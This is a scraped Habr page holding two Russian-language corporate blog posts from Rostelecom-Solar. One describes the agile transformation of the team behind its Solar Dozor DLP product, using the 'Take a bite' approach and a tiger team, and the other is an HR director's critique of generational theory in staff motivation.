Привет, Хабр! Где-то года три назад мы начали переходить с обычного вотерфольного процесса, присущего большинству продуктов энтерпрайз-сегмента, на гибкие подходы. Стартовали с одной команды и одного подпродукта. На данный момент у нас шесть полноценных Scrum-команд. О том, почему это было необходимо, как проходила agile-трансформация, какие подходы мы тестировали, чтобы научиться делать по-настоящему большие и малопонятные на старте фичи, читайте подробнее в посте.

Одним из основных продуктов, который разрабатывает наша компания, является Solar Dozor. Это DLP для корпоративных и государственных заказчиков. Команда разработки состоит из примерно 80-ти человек, включая аналитиков, разработчиков, тестировщиков и технических писателей.

Продукту около 20 лет, за спиной как большой багаж знаний и уникальных технологий, так и того, что хотелось бы исправить :)

Три года назад мы начали смотреть в сторону гибких подходов. Протестировав их на одной команде и одном модуле DLP, поняли, что надо масштабировать. Сегодня у нас шесть полноценных Scrum-команд, а также отдельная команда Product Owner. Последняя живет в чем-то ближе к Kanban, в так называемом процессе Discovery, предшествующем этапу Delivery. В Delivery наши команды реализуют их задумки уже в полноценном Scrum-процессе.

Мы продолжаем серию материалов Как мы создаем продукт (#1, #2). В этой статье мы хотим поделиться историей, как проходила наша agile-трансформация. Подробнее остановимся на том, как мы научились делать по-настоящему большие и малопонятные на старте фичи. Расскажем про два новых подхода, которые мы для этого опробовали. Для тех, кто знаком с терминологией, речь пойдет о Take a bite и Команде Тигров.

1. MultiDozor

1.1 Короткая предыстория

Вот представьте, у вас есть продукт, который создавался около 20 лет, он умеет держать на разных серверах разные сервисы, но имеет одну точку входа. Весь пользовательский интерфейс системы заточен на управление одной организацией, все сотрудники которой работают в одном территориальном подразделении.

В то же время у нас растет число крупных территориально распределенных заказчиков, которые хотят более удобный для себя user experience. Основное требование инкапсуляция данных для каждой организационной единицы. Поиск в системе должен быть возможен как по всей организации, так и по каждой организационной единице отдельно. А еще нужна расширенная система прав, где есть как общие, так и локальные админы и пользователи.

1.2 У нас проблема

Такая фича, очевидно, требовала серьёзного архитектурного перестроения всего продукта. Первым делом нужно было понять, как к этой работе подступиться, так как общей картины бизнес-пожеланий у нас не было.

Для так называемого подготовительного процесса мы собрали специальную исследовательскую команду из бизнес-аналитиков, архитекторов и специалистов по UI /UX. Их основной задачей было собрать с рынка ожидания клиентов от распределенных DLP и как-то приземлить их на реалии Solar Dozor. Начался процесс, который в Agile называется Discovery: исследуем потребности клиента, выдвигаем гипотезы, как закрыть их с помощью нашего продукта, получаем по ним обратную связь. В процессе мы выкидываем большую часть гипотез, оставляя в сухом остатке процентов 20. Где-то через два-три месяца такой работы туман стал рассеиваться. Начали вырисовываться очертания конечного решения. Фича выглядела все объемней и объемней, а ведь мы даже не начали ее детальную проработку. Ничего столь грандиозного по масштабу изменений в продукте мы никогда не делали. Проблема создания модуля MultiDozor была в том, что он технически очень сложный. Помимо проработки аспектов для решения бизнес-задач заказчиков, перед нами вставало много технических вопросов, принять однозначное решение по ряду которых не могла даже наша команда опытных архитекторов.

1.3 Решение есть по частям

Так исторически сложилось, что системные аналитики обычно выкатывают объемные требования. Глядя на размер задачи, мы понимали, что классический водопадный процесс в данном случае гарантированно закончится провалом. Мы полгода будем только писать подробные требования, а в силу технической сложности задачи все равно не учтем всех деталей, многие из которых вполне могут заставить нас переделать все заново.

Поэтому мы решили пойти другим путем. Воспользовались подходом, который в Agile рекомендуют в таких случаях Take a Bite.

Рисунок: принцип Take a Bite (источник: https://less.works/)

Согласно концепции Take a Bite, лучше отказаться от сильного дробления большой и малопонятной на начальном этапе Истории. Вместо этого взять небольшую и относительно понятную ее часть и реализовать за спринт. Логика в том, что во время этой работы мы больше узнаем о сопутствующих и связанных проблемах и их решении. После окончания работы можем показывать результаты стейкхолдерам и получать раннюю обратную связь. Наш горизонт как технических, так и бизнес-знаний за этот спринт расширится, и в следующий мы сможем взять еще один кусочек небольшой и понятной работы. Таким образом мы ориентируемся на как можно более раннее снижение технических рисков (мы технически не можем сделать то, что от нас хотят) и бизнес-рисков (мы сделаем то, что клиенту реально не надо). Мы можем совершать корректировки движения относительно дешево потенциальные потери окажутся не больше работы, проделанной за один двухнедельный спринт.

Собственно, в истории с MultiDozor мы пошли таким путем. После того, как аналитики сформулировали базовую концепцию нового модуля и первый пул основных потребностей заказчиков (для начала мы выбрали трех самых крупных и активных с точки зрения получения обратной связи), мы стартанули первые спринты.

1.4 Ура, мы были правы

Мы очень быстро убедились в правильности выбранного подхода. Где-то в середине второго спринта глядя на то, что получается, мы заметили, что то решение, которое мы начали реализовывать, не согласуется с потребностями одного из заказчиков. В его конфигурации потоков данных были существенные особенности. Определенные данные должны были храниться в центральном подразделении, а еще часть в распределенных. И при этом должна обеспечиваться связанность между ними. Мы оценили, что эти особенности потенциально могут быть присущи и другим важным клиентам, и решили все-таки скорректировать свое движение к конечному результату...

И остановили спринт

За оставшуюся неделю спринта после активных споров было выработано решение, позволяющее минимальной корректировкой достигнуть заданной цели. Это решение было оперативно провалидировано у соответствующего заказчика.

И в третий спринт мы уже начали его реализацию. При этом стоит отметить, что только около половины написанного ранее кода нам удалось сохранить в новой концепции. Остальное пришлось выкинуть.

Но, как ни странно, мы были очень рады, так как понимали, что в случае водопадного подхода, который мы практиковали еще не так давно, понимание, что что-то пошло не так, пришло бы к нам уже ближе к концу релиза. Пришлось бы выпускаться или с тем, что есть (и терять большой сегмент клиентов) или переписывать уже гигантски разросшийся мультидозорный код. И в том, и в другом случае потери были бы колоссальными.

1.5 Что еще нам помогло?

Коротко отмечу, что помимо изменения работы с требованиями системных аналитиков в рамках работы над MultiDozor мы изменили также способ организации нашего труда. Перешли к многокомандному Scrum. Для масштабирования выбрали фреймфорк Less (подробнее о нем можно почитать по ссылке). Если коротко, то у нас появилось Общее Планирование, Общие PBR (встречи, где мы вместе прорабатываем истории для будущих спринтов), Общий Обзор Спринта и, конечно, Общая Ретроспектива. Подробно останавливаться на всем этом не буду, отмечу, что, например, без Общих PBR мы не смогли бы так эффективно делиться знаниями и брейнштормить, а без Общих Ретроспектив оперативно решать вопросы коммуникации.

Мы сфокусировались на том, чтобы команды научились самостоятельно коммуницировать между собой и стейкхолдерами, научились решать свои проблемы. И все это происходило бы без привлечения менеджеров разного уровня. Что-то у нас получилось, что-то нет, но очевидный рост самоорганизации точно помог нам сделать такую крайне сложную фичу, как MultiDozor, и уложиться в сроки, которые ставило перед нами руководство.

2. UBA

2.1 Короткая предыстория

Вторая наша история про Dozor UBA. Про эту систему мы уже несколько раз вам рассказывали тут и тут. Если коротко, то наши коллеги-математики придумали крутую модель, как автоматизировать обнаружение отличий в поведении людей от своих собственных паттернов и от паттернов отдела или всей организации. Коллеги построили прототип на питоне, доказавший корректность их гипотез. А дальше нам надо было все это интегрировать в работающий продукт Solar Dozor с его многочисленными сервисами, потоками данных и устоявшимся UI. Причем сделать так, чтобы понятные только математикам концепции были визуализированы доступно и прозрачно для наших основных пользователей специалистов по безопасности.

2.2 У нас проблема

Если честно, понимания, как это все должно выглядеть и работать, ни у кого не было. Что было так это железобетонная уверенность, что эта фича позволит нам далеко обогнать конкурентов и решать много полезных для информационной и экономической безопасности задач, для которых не подходят старые и привычные методы.

2.3 Решение Команда тигров

Мы пошли путем создания Команды Тигров (Tiger team). Это временная scrum-команда, которая собирается для решения нерешаемых задач.

Нам этот термин попался на глаза в книжке по Less, но появился изначально, кажется, из космонавтики если перевести примерно определение, данное в 1964-м году, это команда технических специалистов, отобранных за их опыт, энергию и воображение, которым поручено выявить и устранить все возможные источники сбоев в подсистемах космического корабля (источник).

В общем, мы взяли лучшего UI-щика, лучшего бэкендера, аналитика, тестировщика, человека из бизнеса, добавили к ним архитектора и спеца по СУБД. В результате в одной команде оказались люди с самой большой экспертизой по каждому вопросу.

Команда именно временная в нашем случае Тигры проработали около двух кварталов, но об этом чуть позже.

Итак, команда собрана, пора стартовать

2.4 И снова едим по кусочку

Мы еще раз воспользовались подходом кусать по кусочкам и, затаив дыхание, ринулись в этот омут с головой. Поначалу было очень страшно, так как очень непонятно.

Единственное, что было ясно, так это то, что без расчетов функций нам не обойтись. Прикинули, какие нужны первые данные для расчетов, продумали под это архитектуру и сервисы и начали.

На первом Sprint Review мы могли показать в интерфейсе только пару цифр, полученных как результат предварительных расчетов для показателей (как и на чем мы считали, подробнее описано в статье про СlickHouse). Но это уже лучше, чем в начале, когда не было ничего. Это уже был успех! Во внутрянке для показа этой цифры уже крутились нужные шестереночки-сервисы. И это многого стоило.

К концу двух недель появились мысли, что еще можно сделать. Процесс разработки начал набирать обороты.

Расчеты и внутренние сервисы это хорошо, но пришло время задуматься и о UI.

Для визуализации показателей UBA на первом этапе мы решили использовать Graphana. Мы понимали, что визуальные представления будут меняться от спринта к спринту. Graphana же была очень адаптивным инструментом и позволила нам быстро визуализировать и многократно перестраивать визуальное представление.
Так во втором спринте у продукта появился первичный интерфейс. А после пятого руководитель департамента разработки с восхищением вскрикивал: Вы уже четвертый раз поменяли весь интерфейс, и он снова стал гораздо лучше!

А вот и несколько этапов его эволюции:

Рисунок: первый эскиз интерфейса

Рисунок: прототип интерфейса на питоне

Рисунок: интерфейс в prod

Со второго спринта начались уже более бурные обсуждения ожиданий бизнеса, на Sprint Review появилась обратная связь совершенно другого уровня а это очень важно для адаптации.

Оценка промежуточных результатов помогла подойти не только к перестроению UI и поиску наиболее удобного и понятного интерфейса, но также к рождению новых моделей. Оказалось, что первичные гипотезы, как считать, оценивать и показывать поведение пользователей, были неоптимальными. Выяснилось, что нужно выбирать другие точки, находить больше аномалий, использовать другое количество итераций и так далее.

На всех последующих Sprint Review было также много вопросов и обсуждений. Например, мы столкнулись с проблемой, что рассказывать о сложной математической модели, которая лежит в основе модуля, на понятном бизнесу языке оказалось непросто. Мы прошли длинный путь из тестирований формулировок и данных, которые показывали на графиках. Но они пригодились и стали подсказками для пользователя в интерфейсе.

2.5 Куда делись тигры?

Примерно через квартал мы успешно выпустили модуль на рынок.

Grafana так и осталась в первой версии. Изначально она чуть-чуть выбивалась из общего стиля интерфейса, но после подбора цветов дизайнерами очень даже вписалась и в итоге уверенно ушла в прод :-)

Команду Тигров мы распустили, и они ушли в команды распространять знания о UBA, как эксперты и менторы компонента. Если честно, было очень грустно, так как за это время мы все вместе по-настоящему сработались и сблизились. Ничто не сближает сильнее, чем решаемая командой плечом к плечу нерешаемая задача.

Рисунок: настоящая схватка Scrum :)

Если говорить о текущем состоянии, то мы продолжаем развитие модуля, каждый релиз выходят все новые и новые фичи. Мы активно коммуницируем с конечными пользователями, которые, кажется, распробовали предложенные нами новые подходы.

Отработав основные этапы визуализации, позже, в следующих релизах, мы начали переходить с Graphana на Angular в качестве UI-фреймворка и на продвинутую графическую библиотеку. Graphana начали убирать кусочками, так как она н е позволяла нам визуализировать данные достаточно гибко.

При развитии модуля мы уже не собирали тигров, а дорабатывали его существующими командами, используя для передачи знаний экспертов подход моб-программирования своего рода расширение парного программирования. Но не буду про это сейчас подробно это отдельная тема :-)

Выводы

Agile и большие фичи/истории совместимы и даже очень хорошо.
Описанный подход Take a bite позволяет экономить кучу времени и денег.
Чем малопонятней фича на входе, тем Take a bite эффективнее по сравнению с традиционным водопадом.
Этот подход позволяет готовить к релизу именно то, что нужно клиенту, а не то, что получилось и уже тяжело исправить.
Стартовать разработку продукта можно и зачастую даже нужно без толстенного талмуда проработанных требований. Но важно при этом установить оперативные и доверительные отношения с заказчиками.
Ну, и, наверное, самое главное это эмпирический процесс (Scrum является только одним из подходов, использующих этот процесс), а не жесткий регламент или методология. Не бойтесь проводить различные эксперименты, пробовать разные подходы и оставляйте то, что сработало, выкидывая, то, что не оправдало ожиданий. И то, и другое успех! У вас в любом случае остается багаж накопленного опыта и знаний.
Рано или поздно эта жажда постоянных улучшений через эксперименты проникнет в культуру вашего подразделения и даже организации.

Подробнее..

Категории: Agile , Scrum , Управление продуктом , Управление разработкой , Софт , Блог компании ростелеком-солар , Фичи , Dozor , Uba

Теория поколений и мотивация. Есть ли различия между X-Y-Z на самом деле?

10.09.2020 10:11:09 |

Автор: admin

Человеку свойственно опираться на различные теории это придает уверенности. Когда мы ищем ответы в точных науках, очевидность теорий, подкрепленных проверками лабораторных испытаний, помогает нам не ошибиться со следующим шагом. Но можно ли перенести подобный подход на изучение человеческих сообществ?

В 1991 году двое умных парней, Штраус и Хау, предложили широкой общественности некую универсальную, на их взгляд, теорию, объясняющую различия между людьми, родившимися разных десятилетиях в их взглядах, динамике, мотивации и пр. Любая теория, которая пытается внести хоть какую-то алгебраическую прозрачность в хаос поведенческих особенностей homo sapiens, быстро становится очень популярной. Ведь все: от руководителей, родителей и HR'ов до правительств ищут волшебную кнопку, позволяющую управлять людьми. И voila вот он золотой ключик теория поколений!

Согласно этой теории, поколения сменяют друг друга каждые 20 лет и несут явные объединяющие признаки, возникающие под воздействием экономических, политических и иных масштабных воздействий. Каждое поколение отличает свой набор особенностей в поведении, которые продиктованы чуть не физиологическими отличиями (шучу).

Что все это значит для руководителей? Штраус и Хау утверждают, что каждому поколению свойственны свои особенности мотивации.

Источник

На первый взгляд, отличная идея, но лично у меня, как у социолога по первому образованию, есть ряд вопросов. 20 лет очень небольшой срок, чтобы судить о том, что есть серьезные различия в основных паттернах мотивации от одного такого поколения к другому. Человеческий век становится все длиннее и дольше. 20 лет это молодость, если не детство для современного человека. Большинство только успевает выбраться из ползунков и покончить с долгим и нудным учебным процессом. Человек в этом возрасте только начинает чувствовать себя самостоятельным, достигает юридической зрелости (в некоторых странах). Что движет таким вырвавшимся из-под родительской и учительской опеки сорванцом? Конечно, стремление изменить мир (глобально), отличаться от других (мамы-папы, соседа по подъезду, зануды-препода), показать всем ух, какой я!. И он решает жить по-другому: беречь природу, бороться за то, что испортили прошлые поколения, бороться с вялым режимом, который эти прошлые поколения допустили, призывать Make love not war Ничего не напоминает?

Все это примеры идей, системно возникающих и одинаково значимых для различных поколений. Фактически каждое из них переживает свой период генерации некой суперидеи, которая отстраивает их от родителей. В результате этого и происходят подвижки (в разных направлениях, не только в технологиях), которые влияют на развитие всего человеческого сообщества.

Так что мы сравниваем в нашей волшебной теории поколений? То, как быстро приспособились к электричеству, мощности пара и появлению массовой авиации наши предки в 2030-х годах ХХ века, с тем, как быстро приспособились мы и наши дети к интернету и диджитализации нашей жизни? Да, ритм жизни, развитие технологий ускоряется год от года. Но что сложнее резкий старт с нуля, да еще в условиях сложной военной ситуации в стране или динамичное развитие в относительно мирное время?

Да и в целом можем ли мы корректно сравнивать то, что происходило с нашими предками 50 лет назад, век назад, 10 веков назад и сейчас? Не сопоставляем ли мы мягкое и теплое?

Поколения и мотивация

Но вернемся к нашим менеджерским задачам. У нас все, с одной стороны, проще нам надо всех организовать на работы, желательно без применения грубой силы, с другой сложнее, ибо мы с вами не сообществами меряемся, а нашими родными сотрудниками, коллективом, который вот, рядом и нужен нам для реализации задач, да и вообще отчасти семья наша рабочая.

Анализ мотивационных особенностей различных людей приводит к вопросу: а действительно ли поколения так сильно расходятся в наших основных задачах и мотивации? Скажем, в юности люди всегда стремятся выделиться, чтобы быть замеченными и выбранными лучшими. В далекой древности это означало быть самым сильным, быстрым и ловким охотником. Позже уметь что-то лучше всех (а значит, быть выбранным лучшим наставником, лучшей девушкой/парнем, в лучший проект, лучшей компанией и так далее).

Сегодня нам важно быть на коне в интеллектуальном плане. Почему? Это дает принадлежность к кругу своих, сегодня для выживания актуально не физическое превосходство, а именно интеллектуальное. Оно же дает нам экономическую стабильность, а значит, возможность вырастить здоровых детей, заботиться о них. В этом отношении ничего кардинально поменяться не может. Биологические основы неизменны на таком непродолжительном временном отрезке.

Из этого следует, главный на мой взгляд, принцип успешного развития и мотивации команды любого поколения: работодатель должен в первую очередь обеспечить интеллектуальное развитие сотрудников, а также ощущение причастности к своим. На прикладном уровне это реализуется через коллектив, который дает ощущение эмоционального спокойствия, регулярное обучение, системный процесс обмена знаниями между сотрудниками и систему наставничества.

Печеньки и кофе или смузи и йога?

Конечно, не стоит забывать о и базе, о физическом комфорте: теплый светлый офис, комфортность рабочей среды, в том числе в инфраструктурном плане.

Офис и разные плюшки это тот аспект, в котором ИТ-компании соревнуются между собой наиболее активно. Компания Х предлагает сотрудникам корпоративные занятия йогой? Ее конкурент Y вводит джиу-джитсу и муай тай! У вас компания заказывает сотрудникам пиццу по пятницам? А мы своим закажем суши!

Вся эта борьба, как ни странно, воспринимается самими сотрудниками неоднозначно. Разумеется, офисным плюшкам все рады, но со временем слышишь мнение, что это не настолько значимая история, чтобы уделять ей так много внимания. И если при этом HR не помогает решать конфликты в команде, не занимается организацией профессионального развития команды, очередные нововведения в части маленьких корпоративных бонусов воспринимаются скорее с раздражением.

У многих закрадываются подозрения: компания оплачивает ужины сотрудникам, работающим после 20:00. Значит, от меня будут ждать постоянных переработок? Если столько денег тратится на смузи, не значит ли это, что недоплачивают мне лично?

При этом, как показывает мой опыт, ради интересных задач, постоянного обучения и развития многие закроют глаза на отсутствие каких-то мелких плюшек (что, конечно, не отменяет обязанности работодателя по заботе о сотрудниках и предоставлению им комфортной для работы среды).

Последние десять лет я работаю в молодом, преимущественно мужском ИТ/ИБ-коллективе. Практика неопровержима: иксов разбавили миллениалы, теперь их уже уверенно подпирают зеты запросы же не меняются:

Я бы хотел прийти к вам на стажировку. Когда можно?
Я уже могу попробовать себя в аналитике, можно Леша даст мне задачи? Я после работы буду делать!
Я на Курсере прошел курс по Python. У нас же у Степы есть задачи может дадите попробовать?
Когда берем новых стажеров? Я мог бы уже читать им курсы. Почему только Саша читает?

За это время парни на моих глазах работали и в так не любимых айтишниками опенспейсах, и в комнатках, рассчитанных на пятерых, ввосьмером, и в железных вагончиках в условиях Крайнего Севера, и в командировках по 2 месяца. И ни для одного поколения комфорт не был ключевым показателем. Новые задачи, заряженные коллеги, слушающий и слышащий тебя руководитель это важнее во сто крат. Проверено тремя поколениями ибэшников работает.

Заключение

Я ежедневно вижу массу статей о проблемах мотивации поколения Z они не такие, как X и Y, они не умеют работать на результат, они непостоянны, им не интересна карьера Да, у поколений есть различия, но они скорее внешние. Зерно же, самая суть, не меняется: все хотят не тянуть волыну, а заниматься любимым делом; не делать что скажут, а вносить свою лепту; работать не по принципу ты начальник я дурак, а в режиме диалога. Возможно, поколение Z просто чуть меньше готово мириться с тем, что их не устраивает, но это и к лучшему работодатель тоже должен развиваться и быть в рынке с позиции сотрудников.

Автор: Мария Сигаева, HR-директор Ростелеком-Солар

Подробнее..

Категории: Управление персоналом , It-компании , Карьера в it-индустрии , Блог компании ростелеком-солар , Мотивация персонала , Теория поколений

	Русский
	English